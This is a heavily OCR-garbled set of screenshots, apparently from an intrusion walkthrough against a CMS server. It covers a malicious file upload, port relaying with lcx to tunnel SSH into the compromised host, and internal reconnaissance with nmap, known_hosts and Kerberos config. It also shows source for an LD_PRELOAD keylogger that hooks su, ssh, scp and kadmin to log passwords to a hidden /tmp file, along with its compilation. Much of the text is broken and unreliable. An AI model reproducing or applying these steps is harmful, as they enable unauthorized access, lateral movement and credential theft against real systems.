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|
| Filter: hiding XML and general binary content
|

IDOSE QO NEr=0uomi_U 3.8 USPOS=20TZ8DI0=Y94 v Falll)

jcmsiscriptieuploadimagesiprogress. gif 200

fcms/m_5_3pictureiopr_pic_subgroup_load jspil v 200

49 icms/scriptfileuploadicommon/css/abundantwindo 200
50 cmsim_5_3dpicture/que_pic_choose jsp?dassid=0 v 200
51 cons/Qvod Plaver|s?=20130812 % 304

----------- €14¢14gLECHIGIIGIIGI3ac0FKN7GI3

contenct-Disposition: form-data; n¢

me="Filenams"

cmmmmmeeeee=B 148 14gLECHIGIIGIIGI3a2=0KEN7GI3
Content-Disposition: form-dacta; name="Filedata™; filen

Content=Type: application/octet-stream
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P ssh 22 o F aPw::  root
v A

L @E P F ,® IxP [ F % W 1-1-13
RASTIrC « 1ESSTI5L « 2TV
[root@msf tul# cp ~/Tcx fuck/

[root@msf tul# cd !§

cd fuck/

[root@msf fuck]# 1s

lex  pam_unix_64.s50 pam_unix_64.tar.gz ssh.gz
%root@msf fuck]# tar zcvf lex.tar.gz lex

X
[root@msf fuck]# 1s -al lcx
-rwxr-xr-x 1 root root 17149 Aug 15 09:43. lcx
[root@msf fuck]# ./lcx -m 2 -pl 8088 =p2 550
binding port 8088...... ok
binding port 550...... ok
waiting for response on port 8088...4.....

1-1-13
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[root@msf fuck]# 1s -al lcx

-rwxr-xr-x 1 root root 17149 Aug 15 09:43 lcx

[root@msf fuck]# ./lcx -m 2 -pl 8088 -p2 550

binding port 8088...... ok

binding port 550...... ok

waiting for response on port 8088.........

accept a client on port 8088 from NN 26,waiting another on port 550....

v

ek ssh?: AES-256-CTR 17, 1 1747, 80% yrio0 +5 #HF 4
/




Host key verification faiTed.
[root@msf ~]# ssh 127.0.0.1 -p 550

@ WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! @

IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!
someone could be eavesdropging on you right now (man-in-the-middle attack)!
It is also possible that the RSA host key has just been changed.
The fingerprint for the RSA key sent by the remote host is
33:8e:8C:a9:9a:04:01:5b:84:8d:c2:02:4f:16:7e:da.
Please contact your system administrator.
Add correct host key in /root/.ssh/known_hosts to get rid of this message.
offending key in /root/.ssh/known_hosts:1
RSA host key for 127.0.0.1 has changed and you have requested strict checking.
Host key verification failed.
[root@msf ~]# cd .ssh/
[root@msf .sshl# rm -rf known_hosts
[root@msf .ssh]# ssh 127.0.0.1 -p 550
The authenticity of host '127.0.0.1 (127.0.0.1)" can't be established.
RSA key fingerprint is 33:8e:8c:a9:9a:04:01:5b:84:8d:c2:02:4f:16:7e:da.
Are you sure you want to continue connecting (yes/no)? yes
warning: Permanently added '127.0.0.1" (RSA) to the list of known hosts.
root@27.0.0.1"'s password:
Permission denied, please try again.
root@27.0.0.1's password:
Last login: wed Aug 14 12:14:45 2013 from 10.149.97.99
[root@jcms ~]# ifconfig
etho Link encap:Ethernet Hwaddr 34:40:B5:AA:CB:BC
inet addr:10.149.100.150 Bcast:10.149.100.255 Mask:255.255.255.0
inet6 addr: fe80::3640:b5ff:feaa:cbbc/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:886406551 errors:0 dropped:0 overruns:0 frame:0
X qackets:953234601 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:2622929435 (2.4 GiB) TX bytes:4247955542 (3.9 GiB)
Interrupt:28 Memory:92000000-92012800

ethl Link encap:Ethernet Hwaddr 34:40:B5:AA:CB:BE
UP BROADCAST MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
2.3 ?ackets:o errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 b) TX bytes:0 (0.0 b)
Interrupt:40 Memory:94000000-94012800

1o Link eggap:Loca1 Loopbac§ e -
inet addr:127.0.0.1 Mask:255.0.0.0 Td1 4T}
inet6 addr: ::1/128 Scope:Host | lt} Team
1-1-15
|’( ]
w oA b " B = VATINA v 1-1-16

#SInputiCcPServerrun 514

#### GLOBAL DIRECTIVES ####

# uUse default timestamp format
SActionFilepefaultTemplate RSYSLOG_TraditionalfFileFormat

# not useful and an extreme performance hit
#SacrtionFileEnablesync on

#HFS RULES WweNe

# Log all kernel messages to the console.

# Logging much else clutters up the screen.

#kern. * /dev/console
# Log an¥thing (except mail) of level info or higher.

# pon‘t lo

? private authentication messages! )
. none; authpriv. none; cron. none /var/log/messages

authpriv. /svar/log/secure

* . info;mai

# File syncing capability is disabled by default. This feature is usually not required,

# Log all the mail messages in one place.
mail. > -/var/log/maillog

# Log cron stuff
cron.* /var/log/cron

# pverybody gets emergency messages
*.emerg -

# Save news errors of level crit and higher in a special file.

uucp,news.crit /var /log/spooler

# Save boot messages also to boot. log

Tocal7.~ /var/log/boot. log
1-1-16
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0

[root@jcms ...]# nmap -sP 10.149.100.1/24 > pin

[root@lcms ...]# cut -d” -f5 ping |grep "10.149" > ping:
[root@]cms ...]# cat pingl
100.1°

10.149.100.210

1-1-17
ssh Hk ™ ~ 1-1-18

[root@jcms ~]# cat .ssh/known_hosts

10.149.100.153 ssh-rsa AAAAB3NZAClycCZEAAAABIWAAAQEAW]SKBQEQYLPMTj3PMXRUKDQATTZOK
JGCB2VEseZswiW5njvowTqGOk2W20CtQzpRENpgeArwsi tgE21byNF GFy 0B 3WASBQTEUWENTt0D1+btFCM
ZOEbyEYeVSICNaWDjC|4Dur‘r‘BBUbd—mOHOFTQbMK‘FKebHSQJXkrEENZOd—gd-KSE'lEyb?jfttanleym‘FEK
al9BIgicSWABLVLU34ZN2m/RHbrvKHLds JQFz98wxXavD01 s DZEXyeU01woKg387 n+DOQNXs 5dhorR293
L/7Y0Q5Dt6Y3beNEAGCUSXqbSvalNXiDIC41whKGO7 /YYQ5SLwWIbppuackc 0bovVGUwz0dpTuGQ==
10.149,100.150 ssh-rsa AAAAB3INZACLlyCZEAAAABIWAAAQEAZSC/m/Nybs,/bnFflk2uvzswneEGLCs
e9GNbuf 7gNIBCPEHZAMBCSVI/1gx90vuQdybgzcERCOLLOaT FIFAVVUmOYkypBdGm3Pko12+8kHbwfgN
45u5Qc+alI/7QrR/vz7 14uP0ts/zDhjGHj++k6 /Hb5DtfLX,/bvt TEOZUM2Eejgz2Edrn3Gil7whyxp9Ep
GEDpCFIXaLTKMcOIbLh/2vgDmyWxY9xyeDEdIPby6IgRMTUYScgahL sEbvz0D5dovEe+uCLuX9r cdIKER
Hxs:MOEVc+FF1/811/en1c1‘rG/8Skaﬂ69px0pg1DmkPwsRsllEJthKlenEderuw' 3pAsQ==
Ikl sh-rsa AAAAB3INZaClyC2EAAAADAQABAAABAQCWZFWSZENQHTOhySLMKCVT x4mTX
qq 1VQEEHDHnJhiUPHM3awaOvsPleBmJyugzzzag/FIpnySr5TXZfUQﬁ1lehjb18 iJoCvzMrerzvV
TRIQAT v/qSJBUOe]XCewyyly?GdIMCVZ%Sstg qyLOfrwlxXeoZlyJwgPwlFVktt3h7Z THMgQgNvry
C75gCCPBUBY3FFFSU2VFLSG,/gNSAT S4EAT 7 SXCXRRWT JmwuUbccBMNYVAYTXNLXCCWSXXF IMOVWZWZVEX
47EQUIMIBC3WIiW,/R1 jMIFMAVVTTDCWOUAO6I Tr apzf BNKQK2ZPMVVLWOT? D,/KKhER0b1X2CcDpsSEB
10.149.100.152 ssh-rsa AAAAB3NzaClycC2EAAAABIWAAAQEArYOWOeLMrGFgTIXA3ZMr Pokku3NL x
bg3gueudrw34w7hwilgaLzirFCczaaHxqefazm47 muBGH1GGLthfe/klohE1%t1G+]]LU8 Zmlvylqz
K3P1FrgBrSwZBaoFD619+IEk610PWThT /ge7ZDdXTDywywdk7 gHf4euxcou? hfMRy S0 F U+ tdwnkc4D
nexnvTTSGstEOZTdeleSeLomnwmrnHTgTy4wkNGGSWmK64c+w1r/eoananwaFRp ALSVYSEIR
PevqQY /CpbvimsafryurzcfDgPM2T12fd7 Yhqoo 5DG13GY+jR 1 pyfNTVGPWXezWEFrZ 1oz voE'::
[root@jcms ~]#

1-1-18
kerberos3 H ~ rsync 3

W @ ;

sy

Kv 97 history [ 1P 1-1-19  1-1-20

Y
10.149.100.211 é\/‘
[root@jcms ...1# i

'ﬂ1ng ging]

ault = FILE:fvarf1uEfkrb51ib5.1Dg
kdc = FILE:/var/log/krb5kdc.log
admin_server = FILE:/var/log/kadmind.log

[Tibdefaults]

default_realm = EXAMPLE.COM
dns_lookup_realm = false
dns_lookup_kdc = false
ticket_Tlifetime = 24h
renew_lifetime = 7d
forwardable = true

[realms]

EXAMPLE. COM = {
kdc = kerberos.example. com
admin_server = kerberos.example.com

[domain_realm]
.example. com = EXAMPLE.COM
examp le.com = EXAMPLE.COM

- [ | AN}

1-1-19
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mass_dns: warning: Unable to determine any DNS Servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
1
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[root@jcms ~]# mount

Jdev/sdal3 on / type extd (rw)

proc on /proc type proc (rw)
sysfs on /sys

pe sysfs (rw)

devpts on /y )’ts Type devpts (rw,gid=5,mode=620)
tmpfs on ,f'dev,-’s m type tmpfs (rw, rootcontext=" ‘system_u:obj
Jdev/sdal on /boot Type extd (rw)
Jdev/sdal2 on /data %pe extd (rw)

none on /proc/sys/fs
sunrpc on /Jvar

[root@jcms ~]# |

1-1-20

infmt_misc type binfmt_misc (rw)
ib/nfs/rpc_pipefs type rpc_pipefs (rw)

pfs_t:s0")

[ F

<
|
m
et
=3

Ts -1

ifconfig

ping 10.149,100.1

ping www. baidu. com
ping www. baidu,com

export LANG=zh CN

expor( LANG=zh_CN
setup
ssh 10.149.100.153
ssh 10.149.100.153
export LANG=zh_CN
setup
export LANG=zh_CN
setup
ifconfi
cd /etc
s
cd /etc/sysconfig/
S
gd /etc/sysconfig/network-scripts/
cat ifcfg-0
cat ifcfg-etho
ifconfig
ssh 10 149.100.153
telne 5678
ssh m
ss_h 10.149.100.153
ir
export LANG=zh_CN
setup
ssh 10.149.100.153
top
S -ef | grep java
i11 -9 1 80 23
/data/tomcat/b1n/startup sh
grep java
111 -9 9.

/da(a/tomcat/b1n/s(artup sh
gs -ef | grep java

cd /data/tomcat /webapps/

§d /data/tomcat/
s

=
€l

. .8
E. '
LD_keylog
Ko 4 -

Author: Matias Fontanini

~

#define _XOPEN_SOURCE 600
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <difcn. h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/select.h>
#include <sys/wait.h>
#include <sys/ioctl.h>
#define __USE_BSD
#include <termios.h>

b=

1-1-22

1-1-21

/* Redefine OUTPUT_FILE to whatever path you want your log to be saved.

#ifndef OUTPUT_FILE

#define OUTPUT_FILE "/tmp/.../output”
#endif R S R

#define RTLD_NEXT ((void *) -11)

ssh

typedef int (*execve_fun)(const char *filename, char *const argv[], char *const envp[l);

void __attribute__ ((constructor)) init(void);
extern char **environ;

/* The real execve pointer. */

execve_fun execve_ptr = 0;

/* our file descr1ptor '/

int file = -1

/* The read buffer. */
char buffer[256];

/* Array containing the fi
char *injected_files[] = {["

'/bin/su”,

"/usr/bin/ssh",

"/usr/bin/telnet",

»
"/usr/bin/kadmin",

rsync’ su

"/usr/bin/scp”, "

E

aarity Team]

"keylogger.c" 205L, 6693C EEA
[root@jcms LD_| PRELOAD_| keylogger]# make
gcec -c -wall -03 -fPIC

gcc keylogger.o -1d1 -wl,-soname ogger.so_

! Byt o

-c -0 kez:;?ger o keylgg

ger. c
ared

-0 keylogger.so

1122
1-1-23
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N a’ b % ~b . history . d L 1-1-24
1-1-24
¥ . yum °
! ettercap ~ ettercap yum 7 P .0 uhe a
redhat o3 6.0 b - yum b © 3b =P F
2 1} W redhatiso E Wae yum LY £ 3b n-
Y . w redhatyum @  centos yum a "N b a
¢ A =n bl F
14 - redhat 4 yum
# rpm-aqg | grep yum|xargs rpm -e -- nodeps
2a yum
dl HuGQ ’ TR 1-1-25
1-1-25
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